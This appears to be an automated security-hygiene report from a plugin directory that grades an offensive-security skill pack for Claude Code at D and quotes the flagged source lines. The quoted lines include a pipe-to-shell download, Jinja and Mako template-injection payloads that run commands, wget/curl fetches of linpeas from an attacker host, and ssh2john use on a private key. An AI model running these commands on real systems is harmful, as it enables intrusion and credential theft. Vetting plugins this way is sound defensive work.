Claude Code, Skill
Security Skills
Security Skills, a skill listed in the PlugVet directory.
Compatibility: Not stated.
Grade D
Two or more Medium findings, or a High. Only try it in a sandbox.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
INSTALL_REMOTE_SCRIPT SECRETS_PATH_CREDENTIAL
Why this grade
- INSTALL_REMOTE_SCRIPT High
Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
skills/web/web-command-injection/detection.md, line 10
- **Egress logs**: the web server fetching payloads (`curl http://x.x.x.x/s.sh | sh`) or beaconing out post-exploitation. - SECRETS_PATH_CREDENTIAL Medium
Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).
skills/tools/tools-hashcat/SKILL.md, line 59
ssh2john id_rsa > ssh.hash # SSH private-key passphrase
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Concern
can delete files.
PERMISSION_DELETE_FILES
bench/run.py, line 54
return subprocess.run(cmd, check=True, text=True, capture_output=True, **kw).stdout.strip()
bench/run.py, line 89
shutil.rmtree(tmp, ignore_errors=True)
bench/run.py, line 164
proc = subprocess.Popen(cmd, cwd=ws, stdout=subprocess.PIPE, stderr=err, text=True)
Show more
skills/reverse-engineering/reverse-eng-malware/cheatsheet.md, line 93
- 'Invoke-Expression'
skills/web/web-ssti/cheatsheet.md, line 24
{{ cycler.__init__.__globals__.os.popen('id').read() }} # common, short
skills/web/web-ssti/cheatsheet.md, line 27
{{ lipsum.__globals__.os.popen('id').read() }} # Flask/Jinja
skills/web/web-ssti/cheatsheet.md, line 53
Mako (Python) ${ __import__('os').popen('id').read() } ${ self.module.cache.util.os.popen('id').read() }
skills/code-review/code-review-dangerous-sinks/SKILL.md, line 30
`os.system subprocess.*(shell=True) os.popen` · Node `child_process.exec execSync` · Java
skills/code-review/code-review-nodejs/SKILL.md, line 24
- **Command exec**: `child_process.exec`/`execSync` with user input (use `execFile`/`spawn` w/ arg array);
Install and update
Serious
install fetches a script from the network.
INSTALL_REMOTE_SCRIPT
skills/web/web-command-injection/detection.md, line 10
- **Egress logs**: the web server fetching payloads (`curl http://x.x.x.x/s.sh | sh`) or beaconing out post-exploitation.
Network
Concern
can reach a host that is not written as a fixed address. can reach raw.githubusercontent.com. The description does not name that host. can reach target. The description does not name that host. can reach oob.attacker.tld. The description does not name that host. can reach oob. The description does not name that host. can reach attacker. The description does not name that host.
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST
bench/run.py, line 72
with urllib.request.urlopen(api) as r:
bench/target_juiceshop.sh, line 36
is_up(){ curl -sf --max-time 2 "$URL" >/dev/null 2>&1; }
bench/target_juiceshop.sh, line 109
if n="$(curl -sf --max-time 5 "$URL/api/Challenges" 2>/dev/null | python3 -c "import json,sys; print(len(json.load(sys.stdin)['data']))" 2>/dev/null)"; then
Show more
skills/automation/automation-browser/cheatsheet.md, line 137
const response = await route.fetch();
skills/payloads/payloads-file-transfers/SKILL.md, line 37
wget http://$LHOST/linpeas.sh -O /tmp/l.sh
skills/payloads/payloads-file-transfers/SKILL.md, line 38
curl http://$LHOST/linpeas.sh -o /tmp/l.sh
skills/payloads/payloads-file-transfers/SKILL.md, line 65
# SSH tunnel: ssh -L 8888:internal:80 user@foothold → wget http://127.0.0.1:8888/f
skills/reverse-engineering/reverse-eng-patch-diff/cheatsheet.md, line 35
wget https://github.com/google/bindiff/releases/latest/download/bindiff_8-amd64.deb
skills/reverse-engineering/reverse-eng-patch-diff/cheatsheet.md, line 145
wget https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
skills/reverse-engineering/reverse-eng-radare2/cheatsheet.md, line 100
curl -sS --data-binary 'aaa' http://127.0.0.1:9393/cmd
skills/reverse-engineering/reverse-eng-radare2/cheatsheet.md, line 101
curl -sS --data-binary 'aflj' http://127.0.0.1:9393/cmd
skills/tools/tools-curl/SKILL.md, line 38
curl -sS --max-time 15 \
Secrets
Concern
reads a credential or environment file.
SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
skills/tools/tools-hashcat/SKILL.md, line 59
ssh2john id_rsa > ssh.hash # SSH private-key passphrase
.gitignore, line 34
# --- Secrets / local config ---
.gitignore, line 35
.env
Show more
.gitignore, line 39
*_id_rsa*
skills/cloud/cloud-docker-registry/SKILL.md, line 27
layers preserve everything added at build time - `.env` files, cloud keys, private source,
skills/cloud/cloud-docker-registry/SKILL.md, line 36
/ grep for keys, `.env`, kubeconfig, cloud creds (→ validate with `code-review-secrets-detection`).
skills/cloud/cloud-s3-exposure/detection.md, line 62
- Reads of backup/dump-named objects (`backup.sql`, `dump.gz`, `.env`, `config.json`) from an identity that never touched the bucket before.
skills/code-review/code-review-secrets-detection/SKILL.md, line 6
tokens, .env files, private keys, cloud creds, hardcoded passwords.
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Pass
No encoded or minified payload found.
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit ee0e0c50d2f6. can delete files. install fetches a script from the network. can reach a host that is not written as a fixed address. can reach raw.githubusercontent.com. The description does not name that host. can reach target. The description does not name that host. can reach oob.attacker.tld. The description does not name that host. can reach oob. The description does not name that host. can reach attacker. The description does not name that host. reads a credential or environment file.
Date and source
Date checked:
github.com
Commit graded: ee0e0c50d2f6d941a14b73dd85a2b470d0ab976e
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.